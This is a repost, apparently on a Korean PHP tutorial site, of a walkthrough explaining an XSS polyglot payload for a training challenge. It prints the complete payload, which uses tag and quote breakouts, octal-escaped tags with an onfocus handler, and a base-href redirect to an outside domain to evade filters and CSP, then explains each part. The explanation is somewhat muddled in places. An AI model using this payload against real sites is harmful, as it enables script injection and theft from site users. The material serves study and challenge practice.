웹 프론트엔드 JS 튜토리얼 Polyglot은 Training XSS Muscles Challenge의 대부분을 해결합니다.

Polyglot은 Training XSS Muscles Challenge의 대부분을 해결합니다.

Sep 14, 2024 am 10:32 AM

Polyglot solve most of Training XSS Muscles Challenge

JavaScript://%250Aalert?.(1)//
'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!-->
</Title/</Style/</Script/</textArea/</iFrame/</noScript>
\74k<K/contentEditable/autoFocus/OnFocus=
/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76-->
로그인 후 복사

Core Idea:
This payload is designed to bypass several XSS filters and security mechanisms by working in various HTML contexts. It uses a combination of HTML and JavaScript tricks to inject a malicious payload, such as the alert() function, in a variety of ways.

Top-Level Concepts:
Polyglot Basics:
A polyglot is a payload that can execute in multiple contexts, typically both in HTML, attributes, or JavaScript contexts, making it more versatile for exploiting XSS vulnerabilities.
The goal of this payload is to inject JavaScript and execute alert(1) across multiple contexts while bypassing filters.
Polyglot Sections:
JavaScript Execution with Optional Chaining:

JavaScript://%250Aalert?.(1)//
로그인 후 복사

The JavaScript protocol triggers the payload in browsers that interpret JavaScript from URL protocols.
%250A is the URL-encoded form of a newline character (\n), used to bypass URL validation or escape filters.
alert?.(1) is an optional chaining syntax in JavaScript. It executes alert(1) if alert exists, bypassing strict checks on direct calls to alert().
// terminates the rest of the payload as a comment to avoid errors.
HTML Tag Breakouts:

</Title/</Style/</Script/</textArea/</iFrame/</noScript>
로그인 후 복사

This section attempts to break out of various HTML tags like <title>, <style>, <script>, <textarea>, and others.
It ends the tags early (</...>) so that JavaScript can be executed right after the tag, bypassing filtering or restrictions based on tag contexts.
It’s compact since it doesn’t close each tag properly; just one closing symbol (>) suffices for all.
Quote Breakouts:

/*'/*\'/*"/*\"/*\/%26apos;)/&lt;!--&gt;`
로그인 후 복사

This section handles breaking out of quote contexts (", ', `). It uses JavaScript comments(/.../) to inject and terminate multiline comment blocks that might be initiated by filters.
/.../ is useful for multiline comments and ignoring filter checks.
%26apos;) is an HTML entity escape code for ', used to break out of attributes or string contexts that use HTML entities for sanitization.
Event Handler and Execution:

`
\74k<K/contentEditable/autoFocus/OnFocus=/**/{(alert)(1)}//>
`
\74k<K is a trick to insert an arbitrary tag where \74 is the octal representation of <. This works to bypass filters that sanitize < by converting it into an octal entity.
K is an arbitrary tag (can be any character) with the attributes contentEditable, autoFocus, and OnFocus.
The OnFocus=/**/{(alert)(1)} ensures that when the element gains focus, it executes the alert(1) function.
Advanced Evasion Techniques:

`
<Base/Href=//X55.is\76-->
`
<Base> is used for CSP bypass. If the base URL is set to a malicious domain like //X55.is, relative URL references to scripts or assets can trigger cross-origin requests, executing external malicious scripts.
/76 is the octal code for >, and it's used to properly close the tag while bypassing filters that escape < and >. This is part of the trick where octal escapes are converted back into characters.
HTML Comment Insertion:

<!--> is a simple HTML comment injection that ends any HTML comment block started by a filter, allowing the payload to escape the context.
Polyglot Logic:
Bypassing HTML Filters: The polyglot uses tag closings, quote breakouts, and event handlers to escape multiple HTML tags and execute JavaScript in different contexts.
Bypassing JavaScript Filters: Through commenting techniques (/.../, //) and quote escapes, it handles multiline scripts and prevents syntax errors.
Filter Evasion: By using HTML entities, optional chaining, and octal escapes, it bypasses common sanitization filters and CSP rules.
Mind Map Summary:
Polyglot Core:
JavaScript Execution (alert?.(1))
HTML Context Breakouts ()
JavaScript String Injection:
Escape Quotes (/'/\'/"/)
Inline Comments and Multiline Escapes (//, /.../)
HTML Tag Evasion:
Tag Close Breakouts ()
Arbitrary Tag Injection with Event Handler ()
Advanced Tricks:
Octal Encoding for < and > (\74 and \76)
CSP Bypass using and external URL (Base/Href=//X55.is)
Final Injection:

Mixed context polyglot triggering across multiple browsers and scenarios.
This polyglot is highly effective in breaking out of multiple contexts, evading JavaScript string handling and HTML tag closures, and executing in both

위 내용은 Polyglot은 Training XSS Muscles Challenge의 대부분을 해결합니다.의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

뜨거운 기사 태그

메모장++7.3.1

메모장++7.3.1

사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기

스튜디오 13.0.1 보내기

강력한 PHP 통합 개발 환경

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

SublimeText3 Mac 버전

SublimeText3 Mac 버전

신 수준의 코드 편집 소프트웨어(SublimeText3)

JavaScript로 문자열 문자를 교체하십시오 JavaScript로 문자열 문자를 교체하십시오 Mar 11, 2025 am 12:07 AM

JavaScript로 문자열 문자를 교체하십시오

jQuery 날짜가 유효한지 확인하십시오 jQuery 날짜가 유효한지 확인하십시오 Mar 01, 2025 am 08:51 AM

jQuery 날짜가 유효한지 확인하십시오

jQuery는 요소 패딩/마진을 얻습니다 jQuery는 요소 패딩/마진을 얻습니다 Mar 01, 2025 am 08:53 AM

jQuery는 요소 패딩/마진을 얻습니다

10 JQuery Accordions 탭 10 JQuery Accordions 탭 Mar 01, 2025 am 01:34 AM

10 JQuery Accordions 탭

10 JQuery 플러그인을 확인할 가치가 있습니다 10 JQuery 플러그인을 확인할 가치가 있습니다 Mar 01, 2025 am 01:29 AM

10 JQuery 플러그인을 확인할 가치가 있습니다

노드 및 HTTP 콘솔로 HTTP 디버깅 노드 및 HTTP 콘솔로 HTTP 디버깅 Mar 01, 2025 am 01:37 AM

노드 및 HTTP 콘솔로 HTTP 디버깅

jQuery div에 스크롤 바를 추가합니다 jQuery div에 스크롤 바를 추가합니다 Mar 01, 2025 am 01:30 AM

jQuery div에 스크롤 바를 추가합니다

사용자 정의 Google 검색 API 설정 자습서 사용자 정의 Google 검색 API 설정 자습서 Mar 04, 2025 am 01:06 AM

사용자 정의 Google 검색 API 설정 자습서

See all articles